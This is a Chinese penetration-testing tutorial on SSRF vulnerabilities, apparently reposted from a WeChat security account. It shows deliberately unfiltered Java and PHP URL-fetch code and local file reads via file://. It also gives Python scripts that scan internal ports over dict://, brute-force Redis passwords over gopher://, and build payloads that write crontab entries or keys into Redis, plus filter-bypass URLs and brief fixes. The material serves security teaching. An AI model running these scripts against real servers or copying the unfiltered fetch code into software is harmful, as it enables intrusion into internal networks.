【渗透知识】SSRF漏洞

admin 2025年6月8日00:22:09评论10 views字数 4739阅读15分47秒阅读模式
免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不承担任何法律及连带责任。
简介 ]
——  人生得意须尽欢,莫使金樽空对月 【摘自】 ——

SSRF

SSRF是服务端请求伪造,顾名思义就是伪造服务器向别的主机发送请求,可以利用服务器内部主机进行探测或发动特定攻击。

SSRF危害

  1. 读取服务器本地文件。

  2. 扫描内网,获取内网系统信息。

  3. 攻击内部服务,如数据库、缓存服务器。

  4. 绕过防火墙,访问外部受限资源。

漏洞信息

混子Hacker     

01

漏洞成因

服务器提供了从URL中获取数据的功能,如从远端加载图片和文件等,但是由于没有对请求的地址或协议进行限制,导致攻击者可以利用漏洞对内部主机进行探测,或利用漏洞绕过限制访问受限的资源等

如下代码,在接受一个url参数时没有进行任何限制直接进行访问获取数据

import java.io.BufferedReader;import java.io.InputStreamReader;import java.net.URL;publicclassSSRFExample1 {publicstaticvoidmain(String[] args)throws IOException {        ssrf_demo();    }publicstaticvoidssrf_demo()throws IOException {         StringuserInput="http://127.0.0.1/demo.xml"// 用户输入         URLurl=newURL(userInput);         BufferedReaderin=newBufferedReader(newInputStreamReader(url.openStream()));         String inputLine;         while ((inputLine = in.readLine()) != null) {             System.out.println(inputLine); // 输出响应内容         }         in.close();     }}
【渗透知识】SSRF漏洞

PHP中代码如下

<?phpif(isset($_GET['url']) && $_GET['url'] != null){    //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF$URL = $_GET['url'];$CH = curl_init($URL);    curl_setopt($CH, CURLOPT_HEADER, FALSE);    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);$RES = curl_exec($CH);    curl_close($CH) ;//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAPecho$RES;}?>

常见的场景:

  1. 在线翻译
  2. 分享
  3. 图片加载与下载
  4. URL 重定向

常见的参数如下

sharewapurlcallbacklinksrcsourcetargetdisplaysourceURlimageURLdomain

混子Hacker

02

漏洞利用

一、读取本地文件

publicstaticvoidssrf_demo()throws IOException {StringuserInput="file:///C:/Windows/win.ini"// 用户输入        URL url = new URL(userInput);        BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));        String inputLine;        while ((inputLine = in.readLine()) != null) {            System.out.println(inputLine); // 输出响应内容        }        in.close();    }
【渗透知识】SSRF漏洞

二、探测内网端口

可以根据响应不同来区分端口是否开启,如下在JAVA中端口未开启回复连接拒绝

端口开启的话会根据服务有不同响应

【渗透知识】SSRF漏洞
【渗透知识】SSRF漏洞
【渗透知识】SSRF漏洞
可以使用下面脚本利用dict协议进行探测
import requestsheaders = {"User-Agent""Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"}port = [21222380818811013544344510801433152121813306338944444445600066666379,70017002800088889001908392001121127017]print("开放的端口为:")for p in port:    url = f"http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:{p}"try:        re = requests.get(url, headers, timeout=1)print(p)except:passprint('SSRF端口检测完毕')

三、利用gopher协议攻击redis

redis数据流如下
【渗透知识】SSRF漏洞
*1 #数组长度为1$7 #多行字符串,长度为7COMMAND #命令*1 #数组长度为1$4 #多行字符串,长度为7info #返回字符串,文本行的集合
在使用gopher协议的时候需要进行双重url编码,换行符号是%0D%0A
http://127.0.0.1/ssrf.php?url=gopher://127.0.0.1:6379/_%250D%250Aauth%2520Admin%254012%250D%250Aquit%250D%250A
【渗透知识】SSRF漏洞
如下进行密码爆破
# -*- coding: UTF-8 -*-from urllib.parse import quotefrom urllib.request import Request, urlopenurl = "http://127.0.0.1/ssrf.php?url="gopher = "gopher://127.0.0.1:6379/_"def get_password():    passwd=['password','Admin@123']    return passwddef encoder_url(cmd):    urlencoder = quote(cmd).replace("%0A""%0D%0A")    return urlencoderfor password in get_password():    # 攻击脚本    cmd = """auth %squit""" % password    # 二次编码    encoder = encoder_url(encoder_url(cmd))    # 生成payload    payload = url + gopher + encoderprint(payload)    # 发起请求    request = Request(payload)    response = urlopen(request).read().decode()print("This time password is:" + password)print("Get response is:")print(response)    if response.count("+OK") > 1:print("find password : " + password)exit()print("Password not found!")print("Please change the dictionary,and try again.")

利用redis写入计划任务或公钥

利用下面代码将payload进行编码

import urllib.parseprotocol = "gopher://"ip = "127.0.0.1"port = "6379"shell = "nnnthis is testnnn"#使用时替换为实际的计划任务filename = "crontab"path = "" #自己的路径passwd = "" #如果有密码需要加上cmd = ["set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save","quit"    ]if passwd:    cmd.insert(0,"AUTH {}".format(passwd))payload = protocol + ip + ":" + port + "/_"def redis_format(arr):    CRLF = "rn"    redis_arr = arr.split(" ")    cmd = ""    cmd += "*" + str(len(redis_arr))for x in redis_arr:        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")    cmd += CRLFreturn cmdif __name__=="__main__":for x in cmd:        payload += urllib.parse.quote(redis_format(x))    # print(payload)    print(urllib.parse.quote(payload))

携带payload访问

【渗透知识】SSRF漏洞

查看redis成功写入了计划任务

【渗透知识】SSRF漏洞

常见绕过方法

  1. 基于http身份认证绕过限定必须包含指定域名

http://[email protected]@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
【渗透知识】SSRF漏洞

2. 利用句号绕过限制内网IP黑名单

http://127.0.0.1/ssrf.php?url=http://127%E3%80%820%E3%80%820%E3%80%821
【渗透知识】SSRF漏洞

3. 可以使用[]绕过

http://127.0.0.1/ssrf.php?url=[192.168.232.130]:8000
【渗透知识】SSRF漏洞

其他绕过方法:302绕过、短链接绕过、进制转换绕过等等

混子Hacker

03

漏洞防护

SSRF修复建议

  • 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
  • 限制不能访问内网的IP,以防止对内网进行攻击。
  • 屏蔽返回的详细信息。

<<<  END >>>

原创文章|转载请附上原文出处链接

更多漏洞|关注作者查看

作者|混子Hacker

原文始发于微信公众号(混子Hacker):【渗透知识】SSRF漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月8日00:22:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透知识】SSRF漏洞https://cn-sec.com/archives/3775204.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息